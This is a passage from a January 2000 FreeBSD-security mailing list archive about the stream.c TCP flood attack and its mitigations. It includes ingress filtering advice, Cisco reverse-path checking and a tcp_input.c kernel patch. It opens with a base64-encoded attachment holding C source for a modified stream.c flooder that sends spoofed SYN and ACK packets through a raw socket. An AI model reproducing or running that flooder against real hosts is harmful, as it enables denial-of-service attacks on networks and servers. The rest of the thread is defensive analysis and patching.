DQogICAgcGFja2V0Lm9wdC50eXBlICAgICAgICAgICAgID0gMHgwMjsNCiAgICBwYWNrZXQub3B0 LmxlbiAgICAgICAgICAgICAgPSAweDA0Ow0KICAgIHBhY2tldC5vcHQudmFsdWUgICAgICAgICAg ICA9IGh0b25zKDE0NjApOw0KKi8NCg0KDQogICAgY2tzdW0ucHNldWRvLmRhZGRyICAgICAgICAg ID0gZHN0YWRkcjsNCiAgICBja3N1bS5wc2V1ZG8ubWJ6ICAgICAgICAgICAgPSAwOw0KICAgIGNr c3VtLnBzZXVkby5wdGNsICAgICAgICAgICA9IElQUFJPVE9fVENQOw0KICAgIGNrc3VtLnBzZXVk by50Y3BsICAgICAgICAgICA9IGh0b25zKHNpemVvZihzdHJ1Y3QgdGNwaGRyKSk7DQoNCiAgICBz X2luLnNpbl9mYW1pbHkgICAgICAgICAgICAgPSBBRl9JTkVUOw0KICAgIHNfaW4uc2luX2FkZHIu c19hZGRyICAgICAgICAgICAgICAgID0gZHN0YWRkcjsNCiAgICBzX2luLnNpbl9wb3J0ICAgICAg ICAgICAgICAgPSBwYWNrZXQudGNwLnRoX2Rwb3J0Ow0KDQogICAgZm9yKGk9MDs7KytpKSB7DQov KiANCglwYXRjaGVkIGJ5IDNBUEEzQSB0byBzZW5kIDEgc3luIHBhY2tldCArIDEwMjMgQUNLIHBh Y2tldHMuIA0KDQoqLw0KICAgIGlmKCAhKGkmMHg0RkYpICkgew0KCXBhY2tldC50Y3AudGhfc3Bv cnQgPSByYW5kKCk7DQoJY2tzdW0ucHNldWRvLnNhZGRyID0gcGFja2V0LmlwLmlwX3NyYy5zX2Fk ZHIgPSByYW5kb20oKTsNCglwYWNrZXQudGNwLnRoX2ZsYWdzID0gVEhfU1lOOw0KICAgICAgICBw YWNrZXQudGNwLnRoX2FjayAgICAgICAgICAgPSAwOw0KDQogICAgfQ0KICAgIGVsc2Ugew0KCXBh Y2tldC50Y3AudGhfZmxhZ3MgPSBUSF9BQ0s7DQoJcGFja2V0LnRjcC50aF9hY2sgPSByYW5kb20o KTsNCiAgICB9DQoNCg0KICAgIC8qIGNrc3VtLnBzZXVkby5zYWRkciA9IHBhY2tldC5pcC5pcF9z cmMuc19hZGRyID0gcmFuZG9tKCk7ICovDQogICAgICAgKytwYWNrZXQuaXAuaXBfaWQ7DQogICAg ICAgLyorK3BhY2tldC50Y3AudGhfc3BvcnQqLzsNCiAgICAgICArK3BhY2tldC50Y3AudGhfc2Vx Ow0KDQogICAgICAgaWYgKCFkc3Rwb3J0KQ0KICAgICAgICAgIHNfaW4uc2luX3BvcnQgPSBwYWNr ZXQudGNwLnRoX2Rwb3J0ID0gcmFuZCgpOw0KDQogICAgICAgcGFja2V0LmlwLmlwX3N1bSAgICAg ICAgID0gMDsNCiAgICAgICBwYWNrZXQudGNwLnRoX3N1bSAgICAgICAgICAgICAgICA9IDA7DQoN CiAgICAgICBja3N1bS50Y3AgICAgICAgICAgICAgICAgICAgICAgICA9IHBhY2tldC50Y3A7DQoN CiAgICAgICBwYWNrZXQuaXAuaXBfc3VtICAgICAgICAgPSBpbl9ja3N1bSgodm9pZCAqKSZwYWNr ZXQuaXAsIDIwKTsNCiAgICAgICBwYWNrZXQudGNwLnRoX3N1bSAgICAgICAgICAgICAgICA9IGlu X2Nrc3VtKCh2b2lkICopJmNrc3VtLCBzaXplb2YoY2tzdW0pKTsNCg0KICAgICAgIGlmIChzZW5k dG8oc29jaywgJnBhY2tldCwgc2l6ZW9mKHBhY2tldCksIDAsIChzdHJ1Y3Qgc29ja2FkZHIgDQoq KSZzX2luLCBzaXplb2Yoc19pbikpIDwgMCkNCiAgICAgICAgICBwZXJyb3IoImplc3MiKTsNCg0K ICAgIH0NCn0NCg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsNCiAgICBpbnQg b24gPSAxOw0KDQogICAgcHJpbnRmKCJzdHJlYW0uYyB2MS4wIC0gVENQIFBhY2tldCBTdG9ybVxu Iik7DQoNCiAgICBpZiAoKHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19SQVcsIElQUFJPVE9f UkFXKSkgPCAwKSB7DQogICAgICAgcGVycm9yKCJzb2NrZXQiKTsNCiAgICAgICBleGl0KDEpOw0K ICAgIH0NCg0KICAgIHNldGdpZChnZXRnaWQoKSk7IHNldHVpZChnZXR1aWQoKSk7DQoNCiAgICBp ZiAoYXJnYyA8IDQpDQogICAgICAgdXNhZ2UoYXJndlswXSk7DQoNCiAgICBpZiAoc2V0c29ja29w dChzb2NrLCBJUFBST1RPX0lQLCBJUF9IRFJJTkNMLCAoY2hhciAqKSZvbiwgc2l6ZW9mKG9uKSkg PCANCjApIHsNCiAgICAgICBwZXJyb3IoInNldHNvY2tvcHQiKTsNCiAgICAgICBleGl0KDEpOw0K ICAgIH0NCg0KICAgIHNyYW5kKCh0aW1lKE5VTEwpIF4gZ2V0cGlkKCkpICsgZ2V0cHBpZCgpKTsN Cg0KICAgIHByaW50ZigiXG5SZXNvbHZpbmcgSVBzLi4uIik7IGZmbHVzaChzdGRvdXQpOw0KDQog ICAgZHN0YWRkciAgICAgPSBsb29rdXAoYXJndlsxXSk7DQogICAgZHN0cG9ydCAgICAgPSBhdG9p KGFyZ3ZbMl0pOw0KICAgIHBrdHNpemUgICAgID0gYXRvaShhcmd2WzNdKTsNCg0KICAgIHByaW50 ZigiU2VuZGluZy4uLiIpOyBmZmx1c2goc3Rkb3V0KTsNCg0KICAgIGZsb29kZXIoKTsNCg0KICAg IHJldHVybiAwOw0KfQ0K ------------10D1AD2092C606B-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 2:59:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 3C0E614F7B for ; Sat, 22 Jan 2000 02:59:17 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id CAA20599; Sat, 22 Jan 2000 02:58:45 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id CAA54402; Sat, 22 Jan 2000 02:58:45 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id CAA16745; Sat, 22 Jan 2000 02:58:44 -0800 (PST) From: Don Lewis Message-Id: <200001221058.CAA16745@salsa.gv.tsc.tdk.com> Date: Sat, 22 Jan 2000 02:58:44 -0800 In-Reply-To: Vladimir Dubrovin "Re[2]: explanation and code for stream.c issues" (Jan 22, 1:41pm) X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Vladimir Dubrovin , Tim Yardley Subject: Re: Re[2]: explanation and code for stream.c issues Cc: news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 22, 1:41pm, Vladimir Dubrovin wrote: } Subject: Re[2]: explanation and code for stream.c issues } >>Attack can be easily changed to send pair SYN and invalid SYN/ACK } } My mistake here - SYN/ACK packet isn't required. Sorry, i wrote this } message after 11 hours of work. Only 11 hours, I've been here for 22, minus a couple hours of breaks. } Intruder sends SYN packet and then sends, lets say 1000 ACK packets to } the same port from same port and source address. SYN packet will open } ipfilter to pass all others packets. This attack doesn't need } randomization for each packet. Instead of producing RST responses, this will produce ACKs. Your earlier comment about this prompted my comment in another thread about the possible need to rate limit ACK packets. } By the way - published stream.c doesn't use ACK bit at all. } packet.tcp.th_flags = 0; There was a correction published that changed this to set the ACK bit. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 2:59:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id D9ED415629 for ; Sat, 22 Jan 2000 02:59:44 -0800 (PST) (envelope-from sthaug@nethelp.no) Received: (qmail 58524 invoked by uid 1001); 22 Jan 2000 10:59:43 +0000 (GMT) To: yankee@az.com Cc: gdonl@tsc.tdk.com, security@FreeBSD.ORG Subject: Re: attack arbitration server From: sthaug@nethelp.no In-Reply-To: Your message of "Sat, 22 Jan 2000 01:42:57 -0800 (PST)" References: X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sat, 22 Jan 2000 11:59:43 +0100 Message-ID: <58522.948538783@verdi.nethelp.no> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > At some point in the chain of routers during a reverse route trace back, > the key router that was originally spoofed would figure out where the > packet REALLY came from and realize it was different than the originally > documented source address in its history/route table. Sort of like, Hey - > I don't have a destination to you and I'm getting complaints about you This exists in Cisco IOS 12.0, and also 11.1CC. It's a per-interface setting called "ip verify unicast reverse-path", and will indeed check the source address against the routing tables. A couple of caveats: - Not really all that usable for core routers, since it doesn't work reliably for asymmetric routing paths. You need to do this at the edge routers. It's still much better than having to make an access list per interface, though. - Requires you to run CEF. Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 3: 5:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from gate.az.com (gate.az.com [216.145.8.252]) by hub.freebsd.org (Postfix) with ESMTP id 445FA14CE9 for ; Sat, 22 Jan 2000 03:05:15 -0800 (PST) (envelope-from yankee@gate.az.com) Received: (from yankee@localhost) by gate.az.com (8.8.5/8.8.5) id DAA15484; Sat, 22 Jan 2000 03:05:14 -0800 (PST) Date: Sat, 22 Jan 2000 03:05:14 -0800 (PST) From: "Dan Seafeldt, AZ.COM System Administrator" To: Don Lewis , security@FreeBSD.ORG Subject: anti-spoof protocol In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Perhaps there would be merit for an RFC to add a message/handshake whereby a host, gateway or firewall which detects an attack would send a 'request authentic packet delivery' message back to the host/network which appears to be doing the attack. If these evil packets were truly spoofed - they did not originate from the actual host mentioned on the source address of the packet, then this special complaint packet would eventually arrive at the gateway which was responsible for receiving packets back to the genuine host that the spoofer claimed to be. When this message arrived for the host, a directly attached gateway meant to deliver it to that genuine host on the same subnet would not deliver it to that host. Instead, the gateway responsible for delivering that message to that host would intercept it and then generate a special key which would be appended to any future packets via that gateway sent to the network that complained. In this way, packets for a time until the credential neogotiated expired between these 2 networks, which arrived at the attacked network containing the source address in question which did not contain the appended key could be obviously be assumed to be forgeries and could/would/should be dropped immediately at the gateway of the network containing the host that was originally attacked. This system could and must be upward compatible. As more gateways might be upgraded to handle this, there would be a greater chance that hosts which supported this new system could send a message back to the spoofed address and get a response from the true network gateway at that address instead of the imposter, invoke a handshake for the key, and of course a resolution to the spoofed source address dilemma by requiring for a period of time packets to have the extra identification mark appended to them. The spoofer, whereever he might be, would not be able to guess or know when or if a key was generated but when this happened ALL of his packets would begin to be dropped by the directly attached gateway responsible for delivering packets the particular host he was attacking because his packets whould not have the mark. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 3:19:32 2000 Delivered-To: freebsd-security@freebsd.org Received: from adm.sci-nnov.ru (adm.sci-nnov.ru [195.122.226.2]) by hub.freebsd.org (Postfix) with ESMTP id 9B1AA155A5 for ; Sat, 22 Jan 2000 03:19:05 -0800 (PST) (envelope-from vlad@sandy.ru) Received: from anonymous.sandy.ru (anonymous.sandy.ru [195.122.226.40]) by adm.sci-nnov.ru (8.9.3/Dmiter-4.1) with ESMTP id OAA67633; Sat, 22 Jan 2000 14:14:27 +0300 (MSK) Date: Sat, 22 Jan 2000 14:14:29 +0300 From: Vladimir Dubrovin X-Mailer: The Bat! (v1.36) S/N D33CD428 Reply-To: Vladimir Dubrovin Organization: Sandy Info X-Priority: 3 (Normal) Message-ID: <1593.000122@sandy.ru> To: Don Lewis Cc: Tim Yardley , news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.ORG Subject: Re[4]: explanation and code for stream.c issues In-reply-To: <200001221058.CAA16745@salsa.gv.tsc.tdk.com> References: <200001221058.CAA16745@salsa.gv.tsc.tdk.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello Don Lewis, 22.01.00 13:58, you wrote: explanation and code for stream.c issues; D> } Intruder sends SYN packet and then sends, lets say 1000 ACK packets to D> } the same port from same port and source address. SYN packet will open D> } ipfilter to pass all others packets. This attack doesn't need D> } randomization for each packet. D> Instead of producing RST responses, this will produce ACKs. Your earlier D> comment about this prompted my comment in another thread about the D> possible need to rate limit ACK packets. This will not produce ACK packets, if ACK send by intruder doesn't conform sequence number in the SYN/ACK response of victim. Original stream.c used packet.tcp.th_ack = 0; i changed to packet.tcp.th_ack = random(); for ACK packets. But it's not principial - victim will reply RST for this packet in most cases. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 3:22:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from gate.az.com (gate.az.com [216.145.8.252]) by hub.freebsd.org (Postfix) with ESMTP id 41FF9154D1 for ; Sat, 22 Jan 2000 03:22:46 -0800 (PST) (envelope-from yankee@gate.az.com) Received: (from yankee@localhost) by gate.az.com (8.8.5/8.8.5) id DAA16378; Sat, 22 Jan 2000 03:22:32 -0800 (PST) Date: Sat, 22 Jan 2000 03:22:31 -0800 (PST) From: "Dan Seafeldt, AZ.COM System Administrator" To: sthaug@nethelp.no Cc: gdonl@tsc.tdk.com, security@FreeBSD.ORG Subject: MAPS effort / CISCO 12.0 In-Reply-To: <58522.948538783@verdi.nethelp.no> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have a CISCO router upgraded to pre-release 12.0 and will look at that. And regarding the mention of MAPS effort, I thought about that but I was worried about all the ISP's out there who may use one gateway/router to connect 2 separate upstream netblocks without any use of BGP. In this case, it is possible that outbound packets will always go through one upstream ISP even though the returns end up going through 2 different ISP's For example, a CISCO 2600 series with one Frame Relay connection and 2 PVCS to two different upsteams, and the gateway set to one of these PVC's with a different class C coming down each PVC's I could see where an egress block enabled by the upstream provider who is not the gateway would shut down access to that class C. Not all ISP's can afford to or understand how to implement BGP but want some amount of redudancy or additional bandwidth via 2 different upstreams. On Sat, 22 Jan 2000 sthaug@nethelp.no wrote: > > At some point in the chain of routers during a reverse route trace back, > > the key router that was originally spoofed would figure out where the > > packet REALLY came from and realize it was different than the originally > > documented source address in its history/route table. Sort of like, Hey - > > I don't have a destination to you and I'm getting complaints about you > > This exists in Cisco IOS 12.0, and also 11.1CC. It's a per-interface > setting called "ip verify unicast reverse-path", and will indeed check > the source address against the routing tables. A couple of caveats: > > - Not really all that usable for core routers, since it doesn't work > reliably for asymmetric routing paths. You need to do this at the edge > routers. It's still much better than having to make an access list per > interface, though. > > - Requires you to run CEF. > > Steinar Haug, Nethelp consulting, sthaug@nethelp.no > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 3:29:27 2000 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id BFB6815772 for ; Sat, 22 Jan 2000 03:29:23 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id MAA12130; Sat, 22 Jan 2000 12:29:05 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: "Dan Seafeldt, AZ.COM System Administrator" Cc: sthaug@nethelp.no, gdonl@tsc.tdk.com, security@FreeBSD.ORG Subject: Re: MAPS effort / CISCO 12.0 In-reply-to: Your message of "Sat, 22 Jan 2000 03:22:31 PST." Date: Sat, 22 Jan 2000 12:29:05 +0100 Message-ID: <12128.948540545@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message , "Dan Seafel dt, AZ.COM System Administrator" writes: > >I have a CISCO router upgraded to pre-release 12.0 and will look at that. >And regarding the mention of MAPS effort, I thought about that but I was >worried about all the ISP's out there who may use one >gateway/router to connect 2 separate upstream netblocks without any use of >BGP. In this case, it is possible that outbound packets will always go >through one upstream ISP even though the returns end up going through 2 >different ISP's For example, a CISCO 2600 series with one Frame Relay >connection and 2 PVCS to two different upsteams, and the gateway set to one >of these PVC's with a different class C coming down each PVC's > >I could see where an egress block enabled by the upstream provider who is >not the gateway would shut down access to that class C. Not all ISP's can >afford to or understand how to implement BGP but want some amount of >redudancy or additional bandwidth via 2 different upstreams. You know, that would be the most lame excuse for not doing anything about this I have heard so far. That ISP, can still put egress filters on both their outgoing PVCs as long as they allow both C classes both ways. But I would be terribly disappointed if their upstream didn't block all but their assigned C class in. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 3:38: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from earth.wnm.net (earth.wnm.net [208.246.240.243]) by hub.freebsd.org (Postfix) with ESMTP id 65B68155A5 for ; Sat, 22 Jan 2000 03:38:00 -0800 (PST) (envelope-from alex@wnm.net) Received: from localhost (alex@localhost) by earth.wnm.net (8.8.8/8.8.8) with ESMTP id FAA10943; Sat, 22 Jan 2000 05:37:43 -0600 (CST) Date: Sat, 22 Jan 2000 05:37:43 -0600 (CST) From: Alex Charalabidis To: Mark Newton Cc: security@FreeBSD.ORG Subject: Re: Microsoft Windows Update In-Reply-To: <20000122192749.C8128@atdot.dotat.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 22 Jan 2000, Mark Newton wrote: > On Sat, Jan 22, 2000 at 12:55:02AM -0800, Dan Seafeldt, AZ.COM System Administrator wrote: > > > http://windowsupdate.microsoft.com > > This website has delivered automatically several fixes to the OS involving > > Dos > > How does Microsoft deliver fixes for Dos? Install Win98 over the top > of it? :-) > Provide you with instructions on removing Linux from the attacker's machine. ;) -ac -- ============================================================== Alex Charalabidis (AC8139) 5050 Poplar Ave, Ste 170 Systems Administrator Memphis, TN 38157 WebNet Memphis (901) 432 6000 ============================================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 3:48:12 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 9CA6115585 for ; Sat, 22 Jan 2000 03:48:05 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id DAA22082; Sat, 22 Jan 2000 03:48:02 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id DAA56509; Sat, 22 Jan 2000 03:48:01 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id DAA16946; Sat, 22 Jan 2000 03:48:01 -0800 (PST) From: Don Lewis Message-Id: <200001221148.DAA16946@salsa.gv.tsc.tdk.com> Date: Sat, 22 Jan 2000 03:48:01 -0800 In-Reply-To: <200001220659.WAA15977@salsa.gv.tsc.tdk.com> References: <200001220659.WAA15977@salsa.gv.tsc.tdk.com> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Warner Losh Subject: Re: stream.c worst-case kernel paths Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 21, 10:59pm, Don Lewis wrote: } Subject: Re: stream.c worst-case kernel paths } On Jan 21, 11:09pm, Warner Losh wrote: } } Subject: Re: stream.c worst-case kernel paths } } In message <200001220551.VAA15775@salsa.gv.tsc.tdk.com> Don Lewis writes: } } : (b) still needs to be generalized to cover other paths that generate } } : RST packets. } } } } Matt has a patch for (b). } } Which is why I didn't implement (b). I figured his implementation } would be better than mine. } } } You two might want to merge the two. } } That sounds good to me. Ok, I haven't seen Matt's patch for (b), so I just moved the exiting ICMP_BANDLIM code down to the dropwithreset code. I also made the part of optimization to the wildcard test that Brett and I discussed. This patch compiled OK for me , and function correctly when I did some simple testing. Now it really needs a good thrashing. *** tcp_input.c.orig Fri Jan 21 09:04:37 2000 --- tcp_input.c Sat Jan 22 03:40:05 2000 *************** *** 381,386 **** --- 381,387 ---- struct tcpopt to; /* options in this segment */ struct rmxp_tao *taop; /* pointer to our TAO cache entry */ struct rmxp_tao tao_noncached; /* in case there's no cached entry */ + int wildcard = 0; #ifdef TCPDEBUG short ostate = 0; #endif *************** *** 511,518 **** drop_hdrlen = off0 + off; /* ! * Locate pcb for segment. */ findpcb: #ifdef IPFIREWALL_FORWARD if (ip_fw_fwd_addr != NULL --- 512,528 ---- drop_hdrlen = off0 + off; /* ! * Locate pcb for segment. If this is not a SYN segment, don't ! * bother searching for the pcb of a listening socket with a ! * wildcard address. ! * ! * Checking TH_RST isn't strictly necessary here, but it doesn't ! * cost anything, saves a hash lookup, takes a shorter path to ! * dropwithreset (which will drop the packet), and allows a test ! * to be removed from the TCPS_LISTEN case. */ + if ((thflags & (TH_ACK|TH_SYN|TH_RST)) == TH_SYN) + wildcard = 1; findpcb: #ifdef IPFIREWALL_FORWARD if (ip_fw_fwd_addr != NULL *************** *** 533,544 **** if (!ip_fw_fwd_addr->sin_port) { inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, ip_fw_fwd_addr->sin_addr, ! th->th_dport, 1, m->m_pkthdr.rcvif); } else { inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, ip_fw_fwd_addr->sin_addr, ! ntohs(ip_fw_fwd_addr->sin_port), 1, m->m_pkthdr.rcvif); } } --- 543,554 ---- if (!ip_fw_fwd_addr->sin_port) { inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, ip_fw_fwd_addr->sin_addr, ! th->th_dport, wildcard, m->m_pkthdr.rcvif); } else { inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, ip_fw_fwd_addr->sin_addr, ! ntohs(ip_fw_fwd_addr->sin_port), wildcard, m->m_pkthdr.rcvif); } } *************** *** 549,560 **** #ifdef INET6 if (isipv6) inp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport, ! &ip6->ip6_dst, th->th_dport, 1, m->m_pkthdr.rcvif); else #endif /* INET6 */ inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, ! ip->ip_dst, th->th_dport, 1, m->m_pkthdr.rcvif); } #ifdef IPSEC --- 559,570 ---- #ifdef INET6 if (isipv6) inp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport, ! &ip6->ip6_dst, th->th_dport, wildcard, m->m_pkthdr.rcvif); else #endif /* INET6 */ inp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport, ! ip->ip_dst, th->th_dport, wildcard, m->m_pkthdr.rcvif); } #ifdef IPSEC *************** *** 615,624 **** break; } } - #ifdef ICMP_BANDLIM - if (badport_bandlim(1) < 0) - goto drop; - #endif if (blackhole) { switch (blackhole) { case 1: --- 625,630 ---- *************** *** 996,1001 **** --- 1002,1013 ---- register struct sockaddr_in6 *sin6; #endif + /* + * XXX - the following three tests should no longer be + * necessary because of the "wildcard" test added + * above. These should probably be changed to assertions + * until the code is thoroughly shaked out. + */ if (thflags & TH_RST) goto drop; if (thflags & TH_ACK) *************** *** 1017,1032 **** * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN * in_broadcast() should never return true on a received * packet with M_BCAST not set. */ if (m->m_flags & (M_BCAST|M_MCAST)) goto drop; #ifdef INET6 if (isipv6) { ! if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst)) goto drop; } else #endif ! if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) goto drop; #ifdef INET6 if (isipv6) { --- 1029,1050 ---- * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN * in_broadcast() should never return true on a received * packet with M_BCAST not set. + * + * Packets with a multicast source address should also + * be discarded. */ if (m->m_flags & (M_BCAST|M_MCAST)) goto drop; #ifdef INET6 if (isipv6) { ! if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || ! IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif ! if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || ! IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || ! IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) goto drop; #ifdef INET6 if (isipv6) { *************** *** 2217,2229 **** goto drop; #ifdef INET6 if (isipv6) { ! if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst)) goto drop; } else #endif /* INET6 */ ! if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) goto drop; /* IPv6 anycast check is done at tcp6_input() */ #ifdef TCPDEBUG if (tp == 0 || (tp->t_inpcb->inp_socket->so_options & SO_DEBUG)) tcp_trace(TA_DROP, ostate, tp, (void *)tcp_saveipgen, --- 2235,2254 ---- goto drop; #ifdef INET6 if (isipv6) { ! if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || ! IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif /* INET6 */ ! if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || ! IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || ! IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) goto drop; /* IPv6 anycast check is done at tcp6_input() */ + #ifdef ICMP_BANDLIM + if (badport_bandlim(1) < 0) + goto drop; + #endif #ifdef TCPDEBUG if (tp == 0 || (tp->t_inpcb->inp_socket->so_options & SO_DEBUG)) tcp_trace(TA_DROP, ostate, tp, (void *)tcp_saveipgen, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 22 4: 3:35 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 5344E14EDD for ; Sat, 22 Jan 2000 04:03:33 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id EAA22190; Sat, 22 Jan 2000 04:03:23 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id EAA56559; Sat, 22 Jan 2000 04:03:22 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id EAA16975; Sat, 22 Jan 2000 04:03:20 -0800 (PST) From: Don Lewis Message-Id: <200001221203.EAA16975@salsa.gv.tsc.tdk.com> Date: Sat, 22 Jan 2000 04:03:19 -0800 In-Reply-To: <1593.000122@sandy.ru> References: <200001221058.CAA16745@salsa.gv.tsc.tdk.com> <1593.000122@sandy.ru> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Vladimir Dubrovin , Don Lewis Subject: Re: Re[4]: explanation and code for stream.c issues Cc: Tim Yardley , news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 22, 2:14pm, Vladimir Dubrovin wrote: } Subject: Re[4]: explanation and code for stream.c issues } Hello Don Lewis, } } 22.01.00 13:58, you wrote: explanation and code for stream.c issues; } } D> } Intruder sends SYN packet 